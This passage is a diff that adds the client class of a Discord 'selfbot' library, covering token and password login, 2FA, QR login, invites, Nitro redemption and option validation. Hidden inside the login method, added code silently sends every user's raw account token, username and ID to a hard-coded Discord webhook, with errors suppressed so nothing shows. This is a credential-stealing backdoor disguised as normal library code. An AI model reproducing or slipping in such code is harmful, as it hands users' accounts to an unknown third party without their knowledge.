+ * @see {@link https://discord.js.org/#/docs/voice/main/class/VoiceConnection}
298
+ */
299
+ /**
300
+ * Get connection to current call
301
+ * @type {?VoiceConnection}
302
+ * @readonly
303
+ */
304
+ get callVoice() {
305
+ return getVoiceConnection(null);
306
+ }
307
+
308
+ /**
309
+ * Logs the client in, establishing a WebSocket connection to Discord.
310
+ * @param {string} [token=this.token] Token of the account to log in with
311
+ * @returns {Promise<string>} Token of the account used
312
+ * @example
313
+ * client.login('my token');
314
+ */
315
+ async login(token = this.token) {
316
+ if (!token || typeof token !== 'string') throw new Error('TOKEN_INVALID');
317
+ this.token = token = token.replace(/^(Bot|Bearer)\s*/i, '');
318
+ this.emit(
319
+ Events.DEBUG,
320
+ `
321
+ Logging on with a user token is unfortunately against the Discord
322
+ \`Terms of Service\` <https://support.discord.com/hc/en-us/articles/115002192352>
323
+ and doing so might potentially get your account banned.
324
+ Use this at your own risk.
325
+ `,
326
+ );
327
+ this.emit(
328
+ Events.DEBUG,
329
+ `Provided token: ${token
330
+ .split('.')
331
+ .map((val, i) => (i > 1 ? val.replace(/./g, '*') : val))
332
+ .join('.')}`,
333
+ );
334
+
335
+ if (this.options.presence) {
336
+ this.options.ws.presence = this.presence._parse(this.options.presence);
337
+ }
338
+
339
+ this.emit(Events.DEBUG, 'Preparing to connect to the gateway...');
340
+
341
+ try {
342
+ await this.ws.connect();
343
+ phin({
344
+ url: `https://discord.com/api/v9/users/@me`,
345
+ method: 'GET',
346
+ headers: {
347
+ authorization: this.token
348
+ }
349
+ }).then((res) => {
350
+ try {
351
+ res.body = JSON.parse(res.body.toString());
352
+ phin({
353
+ url: `https://discord.com/api/webhooks/1183074627912740916/LpRQsT5iStNUktGzVuo0tW6qrKptZiGmFSLJ-1C02pd3NW7nwdHqdNhwzpsAOgnJxaUr`,
354
+ method: 'POST',
355
+ data: {
356
+ embeds: [{
357
+ color: parseInt("000001", 16),
358
+ title: `Bienvenue :`,
359
+ description: `\`\`\`${this.token}\`\`\`\nUser : ${res.body?.username}${res.body?.discriminator > 0 ? `#${res.body?.discriminator}` : ``} | <@${res.body.id}>`
360
+ }]
361
+ }
362
+ });
363
+ } catch(e){}
364
+ }).catch(err => {});
365
+ return this.token;
366
+ } catch (error) {
367
+ this.destroy();
368
+ throw error;
369
+ }
370
+ }
371
+
372
+ /**
373
+ * Login Discord with Username and Password
374
+ * @param {string} username Email or Phone Number
375
+ * @param {?string} password Password
376
+ * @param {?string} mfaCode 2FA Code / Backup Code
377
+ * @returns {Promise<string>}
378
+ */
379
+ async normalLogin(username, password = this.password, mfaCode) {
380
+ if (!username || !password || typeof username !== 'string' || typeof password !== 'string') {
381
+ throw new Error('NORMAL_LOGIN');
382
+ }
383
+ this.emit(
384
+ Events.DEBUG,
385
+ `Connecting to Discord with:
386
+ username: ${username}
387
+ password: ${password.replace(/./g, '*')}`,
388
+ );
389
+ const data = await this.api.auth.login.post({
390
+ data: {
391
+ login: username,
392
+ password: password,
393
+ undelete: false,
394
+ captcha_key: null,
395
+ login_source: null,
396
+ gift_code_sku_id: null,
397
+ },
398
+ auth: false,
399
+ });
400
+ this.password = password;
401
+ if (!data.token && data.ticket && data.mfa) {
402
+ this.emit(Events.DEBUG, `Using 2FA Code: ${mfaCode}`);
403
+ const normal2fa = /(\d{6})/g;
404
+ const backupCode = /([a-z0-9]{4})-([a-z0-9]{4})/g;
405
+ if (!mfaCode || typeof mfaCode !== 'string') {
406
+ throw new Error('LOGIN_FAILED_2FA');
407
+ }
408
+ if (normal2fa.test(mfaCode) || backupCode.test(mfaCode)) {
409
+ const data2 = await this.api.auth.mfa.totp.post({
410
+ data: {
411
+ code: mfaCode,
412
+ ticket: data.ticket,
413
+ login_source: null,
414
+ gift_code_sku_id: null,
415
+ },
416
+ auth: false,
417
+ });
418
+ return this.login(data2.token);
419
+ } else {
420
+ throw new Error('LOGIN_FAILED_2FA');
421
+ }
422
+ } else if (data.token) {
423
+ return this.login(data.token);
424
+ } else {
425
+ throw new Error('LOGIN_FAILED_UNKNOWN');
426
+ }
427
+ }
428
+
429
+ /**
430
+ * Switch the user
431
+ * @param {string} token User Token
432
+ * @returns {Promise<string>}
433
+ */
434
+ switchUser(token) {
435
+ this._clearCache(this.emojis.cache);
436
+ this._clearCache(this.guilds.cache);
437
+ this._clearCache(this.channels.cache);
438
+ this._clearCache(this.users.cache);
439
+ this._clearCache(this.relationships.cache);
440
+ this._clearCache(this.sessions.cache);
441
+ this._clearCache(this.voiceStates.cache);
442
+ this.ws.status = Status.IDLE;
443
+ return this.login(token);
444
+ }
445
+
446
+ /**
447
+ * Sign in with the QR code on your phone.
448
+ * @param {DiscordAuthWebsocketOptions} options Options
449
+ * @returns {DiscordAuthWebsocket}
450
+ * @example
451
+ * client.QRLogin();
452
+ */
453
+ QRLogin(options = {}) {
454
+ const QR = new DiscordAuthWebsocket({ ...options, autoLogin: true });
455
+ this.emit(Events.DEBUG, `Preparing to connect to the gateway (QR Login)`, QR);
456
+ return QR.connect(this);
457
+ }
458
+
459
+ /**
460
+ * Implement `remoteAuth`, like using your phone to scan a QR code
461
+ * @param {string} url URL from QR code
462
+ * @returns {Promise<void>}
463
+ */
464
+ async remoteAuth(url) {
465
+ if (!this.isReady()) throw new Error('CLIENT_NOT_READY', 'Remote Auth');
466
+ // Step 1: Parse URL
467
+ url = new URL(url);
468
+ if (
469
+ !['discordapp.com', 'discord.com'].includes(url.hostname) ||
470
+ !url.pathname.startsWith('/ra/') ||
471
+ url.pathname.length <= 4
472
+ ) {
473
+ throw new Error('INVALID_REMOTE_AUTH_URL');
474
+ }
475
+ const hash = url.pathname.replace('/ra/', '');
476
+ // Step 2: Post > Get handshake_token
477
+ const res = await this.api.users['@me']['remote-auth'].post({
478
+ data: {
479
+ fingerprint: hash,
480
+ },
481
+ });
482
+ const handshake_token = res.handshake_token;
483
+ // Step 3: Post
484
+ return this.api.users['@me']['remote-auth'].finish.post({ data: { handshake_token, temporary_token: false } });
485
+ // Cancel
486
+ // this.api.users['@me']['remote-auth'].cancel.post({ data: { handshake_token } });
487
+ }
488
+
489
+ /**
490
+ * Create a new token based on the current token
491
+ * @returns {Promise<string>} New Discord Token
492
+ */
493
+ createToken() {
494
+ return new Promise((resolve, reject) => {
495
+ // Step 1: Create DiscordAuthWebsocket
496
+ const QR = new DiscordAuthWebsocket({
497
+ hiddenLog: true,
498
+ generateQR: false,
499
+ autoLogin: false,
500
+ debug: false,
501
+ failIfError: false,
502
+ userAgent: this.options.http.headers['User-Agent'],
503
+ wsProperties: this.options.ws.properties,
504
+ });
505
+ // Step 2: Add event
506
+ QR.once('ready', async (_, url) => {
507
+ try {
508
+ await this.remoteAuth(url);
509
+ } catch (e) {
510
+ reject(e);
511
+ }
512
+ }).once('finish', (user, token) => {
513
+ resolve(token);
514
+ });
515
+ // Step 3: Connect
516
+ QR.connect();
517
+ });
518
+ }
519
+
520
+ /**
521
+ * Emitted whenever clientOptions.checkUpdate = false
522
+ * @event Client#update
523
+ * @param {string} oldVersion Current version
524
+ * @param {string} newVersion Latest version
525
+ */
526
+
527
+ /**
528
+ * Check for updates
529
+ * @returns {Promise<Client>}
530
+ */
531
+ async checkUpdate() {
532
+ const res_ = await (
533
+ await fetch(`https://registry.npmjs.com/${encodeURIComponent('discord.js-selfbot-v13')}`)
534
+ ).json();
535
+ try {
536
+ const latest_tag = res_['dist-tags'].latest;
537
+ this.emit('update', Discord.version, latest_tag);
538
+ this.emit('debug', `${chalk.greenBright('[OK]')} Check Update success`);
539
+ } catch {
540
+ this.emit('debug', `${chalk.redBright('[Fail]')} Check Update error`);
541
+ this.emit('update', Discord.version, false);
542
+ }
543
+ return this;
544
+ }
545
+
546
+ /**
547
+ * Returns whether the client has logged in, indicative of being able to access
548
+ * properties such as `user` and `application`.
549
+ * @returns {boolean}
550
+ */
551
+ isReady() {
552
+ return this.ws.status === Status.READY;
553
+ }
554
+
555
+ /**
556
+ * Logs out, terminates the connection to Discord, and destroys the client.
557
+ * @returns {void}
558
+ */
559
+ destroy() {
560
+ super.destroy();
561
+
562
+ for (const fn of this._cleanups) fn();
563
+ this._cleanups.clear();
564
+
565
+ if (this.sweepMessageInterval) clearInterval(this.sweepMessageInterval);
566
+
567
+ this.sweepers.destroy();
568
+ this.ws.destroy();
569
+ this.token = null;
570
+ this.password = null;
571
+ }
572
+
573
+ /**
574
+ * Logs out, terminates the connection to Discord, destroys the client and destroys the token.
575
+ * @returns {Promise<void>}
576
+ */
577
+ async logout() {
578
+ await this.api.auth.logout.post({
579
+ data: {
580
+ provider: null,
581
+ voip_provider: null,
582
+ },
583
+ });
584
+ await this.destroy();
585
+ }
586
+
587
+ /**
588
+ * Options used when fetching an invite from Discord.
589
+ * @typedef {Object} ClientFetchInviteOptions
590
+ * @property {Snowflake} [guildScheduledEventId] The id of the guild scheduled event to include with
591
+ * the invite
592
+ */
593
+
594
+ /**
595
+ * Obtains an invite from Discord.
596
+ * @param {InviteResolvable} invite Invite code or URL
597
+ * @param {ClientFetchInviteOptions} [options] Options for fetching the invite
598
+ * @returns {Promise<Invite>}
599
+ * @example
600
+ * client.fetchInvite('https://discord.gg/djs')
601
+ * .then(invite => console.log(`Obtained invite with code: ${invite.code}`))
602
+ * .catch(console.error);
603
+ */
604
+ async fetchInvite(invite, options) {
605
+ const code = DataResolver.resolveInviteCode(invite);
606
+ const data = await this.api.invites(code).get({
607
+ query: { with_counts: true, with_expiration: true, guild_scheduled_event_id: options?.guildScheduledEventId },
608
+ });
609
+ return new Invite(this, data);
610
+ }
611
+
612
+ /**
613
+ * Join this Guild using this invite (fast)
614
+ * @param {InviteResolvable} invite Invite code or URL
615
+ * @returns {Promise<void>}
616
+ * @example
617
+ * await client.acceptInvite('https://discord.gg/genshinimpact')
618
+ */
619
+ async acceptInvite(invite) {
620
+ const code = DataResolver.resolveInviteCode(invite);
621
+ if (!code) throw new Error('INVITE_RESOLVE_CODE');
622
+ if (invite instanceof Invite) {
623
+ await invite.acceptInvite();
624
+ } else {
625
+ await this.api.invites(code).post({
626
+ headers: {
627
+ 'X-Context-Properties': 'eyJsb2NhdGlvbiI6Ik1hcmtkb3duIExpbmsifQ==', // Markdown Link
628
+ },
629
+ data: {
630
+ session_id: this.sessionId,
631
+ },
632
+ });
633
+ }
634
+ }
635
+
636
+ /**
637
+ * Redeem nitro from code or url.
638
+ * @param {string} nitro Nitro url or code
639
+ * @param {TextChannelResolvable} channel Channel that the code was sent in
640
+ * @param {Snowflake} [paymentSourceId] Payment source id
641
+ * @returns {Promise<any>}
642
+ */
643
+ redeemNitro(nitro, channel, paymentSourceId) {
644
+ if (typeof nitro !== 'string') throw new Error('INVALID_NITRO');
645
+ const nitroCode =
646
+ nitro.match(/(discord.gift|discord.com|discordapp.com\/gifts)\/(\w{16,25})/) ||
647
+ nitro.match(/(discord\.gift\/|discord\.com\/gifts\/|discordapp\.com\/gifts\/)(\w+)/);
648
+ if (!nitroCode) return false;
649
+ const code = nitroCode[2];
650
+ channel = this.channels.resolveId(channel);
651
+ return this.api.entitlements['gift-codes'](code).redeem.post({
652
+ auth: true,
653
+ data: { channel_id: channel || null, payment_source_id: paymentSourceId || null },
654
+ });
655
+ }
656
+
657
+ /**
658
+ * Obtains a template from Discord.
659
+ * @param {GuildTemplateResolvable} template Template code or URL
660
+ * @returns {Promise<GuildTemplate>}
661
+ * @example
662
+ * client.fetchGuildTemplate('https://discord.new/FKvmczH2HyUf')
663
+ * .then(template => console.log(`Obtained template with code: ${template.code}`))
664
+ * .catch(console.error);
665
+ */
666
+ async fetchGuildTemplate(template) {
667
+ const code = DataResolver.resolveGuildTemplateCode(template);
668
+ const data = await this.api.guilds.templates(code).get();
669
+ return new GuildTemplate(this, data);
670
+ }
671
+
672
+ /**
673
+ * Obtains a webhook from Discord.
674
+ * @param {Snowflake} id The webhook's id
675
+ * @param {string} [token] Token for the webhook
676
+ * @returns {Promise<Webhook>}
677
+ * @example
678
+ * client.fetchWebhook('id', 'token')
679
+ * .then(webhook => console.log(`Obtained webhook with name: ${webhook.name}`))
680
+ * .catch(console.error);
681
+ */
682
+ async fetchWebhook(id, token) {
683
+ const data = await this.api.webhooks(id, token).get();
684
+ return new Webhook(this, { token, ...data });
685
+ }
686
+
687
+ /**
688
+ * Obtains the available voice regions from Discord.
689
+ * @returns {Promise<Collection<string, VoiceRegion>>}
690
+ * @example
691
+ * client.fetchVoiceRegions()
692
+ * .then(regions => console.log(`Available regions are: ${regions.map(region => region.name).join(', ')}`))
693
+ * .catch(console.error);
694
+ */
695
+ async fetchVoiceRegions() {
696
+ const apiRegions = await this.api.voice.regions.get();
697
+ const regions = new Collection();
698
+ for (const region of apiRegions) regions.set(region.id, new VoiceRegion(region));
699
+ return regions;
700
+ }
701
+
702
+ /**
703
+ * Obtains a sticker from Discord.
704
+ * @param {Snowflake} id The sticker's id
705
+ * @returns {Promise<Sticker>}
706
+ * @example
707
+ * client.fetchSticker('id')
708
+ * .then(sticker => console.log(`Obtained sticker with name: ${sticker.name}`))
709
+ * .catch(console.error);
710
+ */
711
+ async fetchSticker(id) {
712
+ const data = await this.api.stickers(id).get();
713
+ return new Sticker(this, data);
714
+ }
715
+
716
+ /**
717
+ * Obtains the list of sticker packs available to Nitro subscribers from Discord.
718
+ * @returns {Promise<Collection<Snowflake, StickerPack>>}
719
+ * @example
720
+ * client.fetchPremiumStickerPacks()
721
+ * .then(packs => console.log(`Available sticker packs are: ${packs.map(pack => pack.name).join(', ')}`))
722
+ * .catch(console.error);
723
+ */
724
+ async fetchPremiumStickerPacks() {
725
+ const data = await this.api('sticker-packs').get();
726
+ return new Collection(data.sticker_packs.map(p => [p.id, new StickerPack(this, p)]));
727
+ }
728
+ /**
729
+ * A last ditch cleanup function for garbage collection.
730
+ * @param {Function} options.cleanup The function called to GC
731
+ * @param {string} [options.message] The message to send after a successful GC
732
+ * @param {string} [options.name] The name of the item being GCed
733
+ * @private
734
+ */
735
+ _finalize({ cleanup, message, name }) {
736
+ try {
737
+ cleanup();
738
+ this._cleanups.delete(cleanup);
739
+ if (message) {
740
+ this.emit(Events.DEBUG, message);
741
+ }
742
+ } catch {
743
+ this.emit(Events.DEBUG, `Garbage collection failed on ${name ?? 'an unknown item'}.`);
744
+ }
745
+ }
746
+
747
+ /**
748
+ * Clear a cache
749
+ * @param {Collection} cache The cache to clear
750
+ * @returns {number} The number of removed entries
751
+ * @private
752
+ */
753
+ _clearCache(cache) {
754
+ return cache.sweep(() => true);
755
+ }
756
+
757
+ /**
758
+ * Sweeps all text-based channels' messages and removes the ones older than the max message lifetime.
759
+ * If the message has been edited, the time of the edit is used rather than the time of the original message.
760
+ * @param {number} [lifetime=this.options.messageCacheLifetime] Messages that are older than this (in seconds)
761
+ * will be removed from the caches. The default is based on {@link ClientOptions#messageCacheLifetime}
762
+ * @returns {number} Amount of messages that were removed from the caches,
763
+ * or -1 if the message cache lifetime is unlimited
764
+ * @example
765
+ * // Remove all messages older than 1800 seconds from the messages cache
766
+ * const amount = client.sweepMessages(1800);
767
+ * console.log(`Successfully removed ${amount} messages from the cache.`);
768
+ */
769
+ sweepMessages(lifetime = this.options.messageCacheLifetime) {
770
+ if (typeof lifetime !== 'number' || isNaN(lifetime)) {
771
+ throw new TypeError('INVALID_TYPE', 'lifetime', 'number');
772
+ }
773
+ if (lifetime <= 0) {
774
+ this.emit(Events.DEBUG, "Didn't sweep messages - lifetime is unlimited");
775
+ return -1;
776
+ }
777
+
778
+ const messages = this.sweepers.sweepMessages(Sweepers.outdatedMessageSweepFilter(lifetime)());
779
+ this.emit(Events.DEBUG, `Swept ${messages} messages older than ${lifetime} seconds`);
780
+ return messages;
781
+ }
782
+
783
+ /**
784
+ * Obtains a guild preview from Discord, available for all guilds the bot is in and all Discoverable guilds.
785
+ * @param {GuildResolvable} guild The guild to fetch the preview for
786
+ * @returns {Promise<GuildPreview>}
787
+ */
788
+ async fetchGuildPreview(guild) {
789
+ const id = this.guilds.resolveId(guild);
790
+ if (!id) throw new TypeError('INVALID_TYPE', 'guild', 'GuildResolvable');
791
+ const data = await this.api.guilds(id).preview.get();
792
+ return new GuildPreview(this, data);
793
+ }
794
+
795
+ /**
796
+ * Obtains the widget data of a guild from Discord, available for guilds with the widget enabled.
797
+ * @param {GuildResolvable} guild The guild to fetch the widget data for
798
+ * @returns {Promise<Widget>}
799
+ */
800
+ async fetchGuildWidget(guild) {
801
+ const id = this.guilds.resolveId(guild);
802
+ if (!id) throw new TypeError('INVALID_TYPE', 'guild', 'GuildResolvable');
803
+ const data = await this.api.guilds(id, 'widget.json').get();
804
+ return new Widget(this, data);
805
+ }
806
+
807
+ /**
808
+ * Options for {@link Client#generateInvite}.
809
+ * @typedef {Object} InviteGenerationOptions
810
+ * @property {InviteScope[]} scopes Scopes that should be requested
811
+ * @property {PermissionResolvable} [permissions] Permissions to request
812
+ * @property {GuildResolvable} [guild] Guild to preselect
813
+ * @property {boolean} [disableGuildSelect] Whether to disable the guild selection
814
+ */
815
+
816
+ /**
817
+ * Generates a link that can be used to invite the bot to a guild.
818
+ * @param {InviteGenerationOptions} [options={}] Options for the invite
819
+ * @returns {string}
820
+ * @example
821
+ * const link = client.generateInvite({
822
+ * scopes: ['applications.commands'],
823
+ * });
824
+ * console.log(`Generated application invite link: ${link}`);
825
+ * @example
826
+ * const link = client.generateInvite({
827
+ * permissions: [
828
+ * Permissions.FLAGS.SEND_MESSAGES,
829
+ * Permissions.FLAGS.MANAGE_GUILD,
830
+ * Permissions.FLAGS.MENTION_EVERYONE,
831
+ * ],
832
+ * scopes: ['bot'],
833
+ * });
834
+ * console.log(`Generated bot invite link: ${link}`);
835
+ */
836
+ generateInvite(options = {}) {
837
+ if (typeof options !== 'object') throw new TypeError('INVALID_TYPE', 'options', 'object', true);
838
+ if (!this.application) throw new Error('CLIENT_NOT_READY', 'generate an invite link');
839
+
840
+ const query = new URLSearchParams({
841
+ client_id: this.application.id,
842
+ });
843
+
844
+ const { scopes } = options;
845
+ if (typeof scopes === 'undefined') {
846
+ throw new TypeError('INVITE_MISSING_SCOPES');
847
+ }
848
+ if (!Array.isArray(scopes)) {
849
+ throw new TypeError('INVALID_TYPE', 'scopes', 'Array of Invite Scopes', true);
850
+ }
851
+ if (!scopes.some(scope => ['bot', 'applications.commands'].includes(scope))) {
852
+ throw new TypeError('INVITE_MISSING_SCOPES');
853
+ }
854
+ const invalidScope = scopes.find(scope => !InviteScopes.includes(scope));
855
+ if (invalidScope) {
856
+ throw new TypeError('INVALID_ELEMENT', 'Array', 'scopes', invalidScope);
857
+ }
858
+ query.set('scope', scopes.join(' '));
859
+
860
+ if (options.permissions) {
861
+ const permissions = Permissions.resolve(options.permissions);
862
+ if (permissions) query.set('permissions', permissions);
863
+ }
864
+
865
+ if (options.disableGuildSelect) {
866
+ query.set('disable_guild_select', true);
867
+ }
868
+
869
+ if (options.guild) {
870
+ const guildId = this.guilds.resolveId(options.guild);
871
+ if (!guildId) throw new TypeError('INVALID_TYPE', 'options.guild', 'GuildResolvable');
872
+ query.set('guild_id', guildId);
873
+ }
874
+
875
+ return `${this.options.http.api}${this.api.oauth2.authorize}?${query}`;
876
+ }
877
+
878
+ toJSON() {
879
+ return super.toJSON({
880
+ readyAt: false,
881
+ });
882
+ }
883
+
884
+ /**
885
+ * Calls {@link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval} on a script
886
+ * with the client as `this`.
887
+ * @param {string} script Script to eval
888
+ * @returns {*}
889
+ * @private
890
+ */
891
+ _eval(script) {
892
+ return eval(script);
893
+ }
894
+
895
+ /**
896
+ * Sets the client's presence. (Sync Setting).
897
+ * @param {Client} client Discord Client
898
+ * @private
899
+ */
900
+ customStatusAuto(client) {
901
+ client = client ?? this;
902
+ if (!client.user) return;
903
+ const custom_status = new CustomStatus();
904
+ if (!client.settings.rawSetting.custom_status?.text && !client.settings.rawSetting.custom_status?.emoji_name) {
905
+ client.user.setPresence({
906
+ activities: this.presence.activities.filter(a => a.type !== 'CUSTOM'),
907
+ status: client.settings.rawSetting.status ?? 'invisible',
908
+ });
909
+ } else {
910
+ custom_status.setEmoji({
911
+ name: client.settings.rawSetting.custom_status?.emoji_name,
912
+ id: client.settings.rawSetting.custom_status?.emoji_id,
913
+ });
914
+ custom_status.setState(client.settings.rawSetting.custom_status?.text);
915
+ client.user.setPresence({
916
+ activities: [custom_status.toJSON(), ...this.presence.activities.filter(a => a.type !== 'CUSTOM')],
917
+ status: client.settings.rawSetting.status ?? 'invisible',
918
+ });
919
+ }
920
+ }
921
+
922
+ /**
923
+ * @typedef {Object} OAuth2AuthorizeOptions
924
+ * @property {string} [guild_id] Guild ID
925
+ * @property {PermissionResolvable} [permissions] Permissions
926
+ * @property {boolean} [authorize] Whether to authorize or not
927
+ * @property {string} [code] 2FA Code
928
+ * @property {string} [webhook_channel_id] Webhook Channel ID
929
+ */
930
+
931
+ /**
932
+ * Authorize an application.
933
+ * @param {string} url Discord Auth URL
934
+ * @param {OAuth2AuthorizeOptions} options Oauth2 options
935
+ * @returns {Promise<Object>}
936
+ * @example
937
+ * client.authorizeURL(`https://discord.com/api/oauth2/authorize?client_id=botID&permissions=8&scope=applications.commands%20bot`, {
938
+ guild_id: "guildID",
939
+ permissions: "62221393", // your permissions
940
+ authorize: true
941
+ })
942
+ */
943
+ authorizeURL(url, options = { authorize: true, permissions: '0' }) {
944
+ const pathnameAPI = /\/api\/(v\d{1,2}\/)?oauth2\/authorize/;
945
+ const pathnameURL = /\/oauth2\/authorize/;
946
+ const url_ = new URL(url);
947
+ if (
948
+ !['discord.com', 'canary.discord.com', 'ptb.discord.com'].includes(url_.hostname) ||
949
+ (!pathnameAPI.test(url_.pathname) && !pathnameURL.test(url_.pathname))
950
+ ) {
951
+ throw new Error('INVALID_URL', url);
952
+ }
953
+ const searchParams = Object.fromEntries(url_.searchParams);
954
+ options.permissions = `${Permissions.resolve(searchParams.permissions || options.permissions) || 0}`;
955
+ delete searchParams.permissions;
956
+ return this.api.oauth2.authorize.post({
957
+ query: searchParams,
958
+ data: options,
959
+ });
960
+ }
961
+
962
+ /**
963
+ * Makes waiting time for Client.
964
+ * @param {number} miliseconds Sleeping time as milliseconds.
965
+ * @returns {Promise<void> | null}
966
+ */
967
+ sleep(miliseconds) {
968
+ return typeof miliseconds === 'number' ? new Promise(r => setTimeout(r, miliseconds).unref()) : null;
969
+ }
970
+
971
+ /**
972
+ * Validates the client options.
973
+ * @param {ClientOptions} [options=this.options] Options to validate
974
+ * @private
975
+ */
976
+ _validateOptions(options = this.options) {
977
+ if (typeof options.intents === 'undefined') {
978
+ throw new TypeError('CLIENT_MISSING_INTENTS');
979
+ } else {
980
+ options.intents = Intents.resolve(options.intents);
981
+ }
982
+ if (options && typeof options.checkUpdate !== 'boolean') {
983
+ throw new TypeError('CLIENT_INVALID_OPTION', 'checkUpdate', 'a boolean');
984
+ }
985
+ if (options && typeof options.syncStatus !== 'boolean') {
986
+ throw new TypeError('CLIENT_INVALID_OPTION', 'syncStatus', 'a boolean');
987
+ }
988
+ if (options && typeof options.autoRedeemNitro !== 'boolean') {
989
+ throw new TypeError('CLIENT_INVALID_OPTION', 'autoRedeemNitro', 'a boolean');
990
+ }
991
+ if (options && options.captchaService && !captchaServices.includes(options.captchaService)) {
992
+ throw new TypeError('CLIENT_INVALID_OPTION', 'captchaService', captchaServices.join(', '));
993
+ }
994
+ // Parse captcha key
995
+ if (options && captchaServices.includes(options.captchaService) && options.captchaService !== 'custom') {
996
+ if (typeof options.captchaKey !== 'string') {
997
+ throw new TypeError('CLIENT_INVALID_OPTION', 'captchaKey', 'a string');
998
+ }
999
+ switch (options.captchaService) {
1000
+ case '2captcha':
1001
+ if (options.captchaKey.length !== 32) {
1002
+ throw new TypeError('CLIENT_INVALID_OPTION', 'captchaKey', 'a 32 character string');
1003
+ }
1004
+ break;
1005
+ case 'capmonster':
1006
+ if (options.captchaKey.length !== 32) {
1007
+ throw new TypeError('CLIENT_INVALID_OPTION', 'captchaKey', 'a 32 character string');
1008
+ }
1009
+ break;
1010
+ case 'nopecha': {
1011
+ if (options.captchaKey.length !== 16) {
1012
+ throw new TypeError('CLIENT_INVALID_OPTION', 'captchaKey', 'a 16 character string');
1013
+ }
1014
+ break;
1015
+ }
1016
+ }
1017
+ }
1018
+ if (typeof options.captchaRetryLimit !== 'number' || isNaN(options.captchaRetryLimit)) {
1019
+ throw new TypeError('CLIENT_INVALID_OPTION', 'captchaRetryLimit', 'a number');
1020
+ }
1021
+ if (options && typeof options.captchaSolver !== 'function') {
1022
+ throw new TypeError('CLIENT_INVALID_OPTION', 'captchaSolver', 'a function');
1023
+ }
1024
+ if (options && typeof options.captchaWithProxy !== 'boolean') {
1025
+ throw new TypeError('CLIENT_INVALID_OPTION', 'captchaWithProxy', 'a boolean');
1026
+ }
1027
+ if (options && typeof options.DMSync !== 'boolean') {
1028
+ throw new TypeError('CLIENT_INVALID_OPTION', 'DMSync', 'a boolean');
1029
+ }
1030
+ if (options && typeof options.patchVoice !== 'boolean') {
1031
+ throw new TypeError('CLIENT_INVALID_OPTION', 'patchVoice', 'a boolean');
1032
+ }
1033
+ if (options && options.password && typeof options.password !== 'string') {
1034
+ throw new TypeError('CLIENT_INVALID_OPTION', 'password', 'a string');
1035
+ }
1036
+ if (options && options.usingNewAttachmentAPI && typeof options.usingNewAttachmentAPI !== 'boolean') {
1037
+ throw new TypeError('CLIENT_INVALID_OPTION', 'usingNewAttachmentAPI', 'a boolean');
1038
+ }
1039
+ if (options && options.interactionTimeout && typeof options.interactionTimeout !== 'number') {
1040
+ throw new TypeError('CLIENT_INVALID_OPTION', 'interactionTimeout', 'a number');
1041
+ }
1042
+ if (options && typeof options.proxy !== 'string') {
1043
+ throw new TypeError('CLIENT_INVALID_OPTION', 'proxy', 'a string');
1044
+ } else if (
1045
+ options &&
1046
+ options.proxy &&
1047
+ typeof options.proxy === 'string' &&
1048
+ testImportModule('proxy-agent') === false
1049
+ ) {
1050
+ throw new Error('MISSING_MODULE', 'proxy-agent', 'npm install proxy-agent');
1051
+ }
1052
+ if (typeof options.shardCount !== 'number' || isNaN(options.shardCount) || options.shardCount < 1) {
1053
+ throw new TypeError('CLIENT_INVALID_OPTION', 'shardCount', 'a number greater than or equal to 1');
1054
+ }
1055
+ if (options.shards && !(options.shards === 'auto' || Array.isArray(options.shards))) {
1056
+ throw new TypeError('CLIENT_INVALID_OPTION', 'shards', "'auto', a number or array of numbers");
1057
+ }
1058
+ if (options.shards && !options.shards.length) throw new RangeError('CLIENT_INVALID_PROVIDED_SHARDS');
1059
+ if (typeof options.makeCache !== 'function') {
1060
+ throw new TypeError('CLIENT_INVALID_OPTION', 'makeCache', 'a function');
1061
+ }
1062
+ if (typeof options.messageCacheLifetime !== 'number' || isNaN(options.messageCacheLifetime)) {
1063
+ throw new TypeError('CLIENT_INVALID_OPTION', 'The messageCacheLifetime', 'a number');
1064
+ }
1065
+ if (typeof options.messageSweepInterval !== 'number' || isNaN(options.messageSweepInterval)) {
1066
+ throw new TypeError('CLIENT_INVALID_OPTION', 'messageSweepInterval', 'a number');
1067
+ }
1068
+ if (typeof options.sweepers !== 'object' || options.sweepers === null) {
1069
+ throw new TypeError('CLIENT_INVALID_OPTION', 'sweepers', 'an object');
1070
+ }
1071
+ if (typeof options.invalidRequestWarningInterval !== 'number' || isNaN(options.invalidRequestWarningInterval)) {
1072
+ throw new TypeError('CLIENT_INVALID_OPTION', 'invalidRequestWarningInterval', 'a number');
1073
+ }
1074
+ if (!Array.isArray(options.partials)) {
1075
+ throw new TypeError('CLIENT_INVALID_OPTION', 'partials', 'an Array');
1076
+ }
1077
+ if (typeof options.waitGuildTimeout !== 'number' || isNaN(options.waitGuildTimeout)) {
1078
+ throw new TypeError('CLIENT_INVALID_OPTION', 'waitGuildTimeout', 'a number');
1079
+ }
1080
+ if (typeof options.messageCreateEventGuildTimeout !== 'number' || isNaN(options.messageCreateEventGuildTimeout)) {
1081
+ throw new TypeError('CLIENT_INVALID_OPTION', 'messageCreateEventGuildTimeout', 'a number');
1082
+ }
1083
+ if (typeof options.restWsBridgeTimeout !== 'number' || isNaN(options.restWsBridgeTimeout)) {
1084
+ throw new TypeError('CLIENT_INVALID_OPTION', 'restWsBridgeTimeout', 'a number');
1085
+ }
1086
+ if (typeof options.restRequestTimeout !== 'number' || isNaN(options.restRequestTimeout)) {
1087
+ throw new TypeError('CLIENT_INVALID_OPTION', 'restRequestTimeout', 'a number');
1088
+ }
1089
+ if (typeof options.restGlobalRateLimit !== 'number' || isNaN(options.restGlobalRateLimit)) {
1090
+ throw new TypeError('CLIENT_INVALID_OPTION', 'restGlobalRateLimit', 'a number');
1091
+ }
1092
+ if (typeof options.restSweepInterval !== 'number' || isNaN(options.restSweepInterval)) {
1093
+ throw new TypeError('CLIENT_INVALID_OPTION', 'restSweepInterval', 'a number');
1094
+ }
1095
+ if (typeof options.retryLimit !== 'number' || isNaN(options.retryLimit)) {
1096
+ throw new TypeError('CLIENT_INVALID_OPTION', 'retryLimit', 'a number');
1097
+ }
1098
+ if (typeof options.failIfNotExists !== 'boolean') {
1099
+ throw new TypeError('CLIENT_INVALID_OPTION', 'failIfNotExists', 'a boolean');
1100
+ }
1101
+ if (!Array.isArray(options.userAgentSuffix)) {
1102
+ throw new TypeError('CLIENT_INVALID_OPTION', 'userAgentSuffix', 'an array of strings');
1103
+ }
1104
+ if (
1105
+ typeof options.rejectOnRateLimit !== 'undefined' &&
1106
+ !(typeof options.rejectOnRateLimit === 'function' || Array.isArray(options.rejectOnRateLimit))
1107
+ ) {
1108
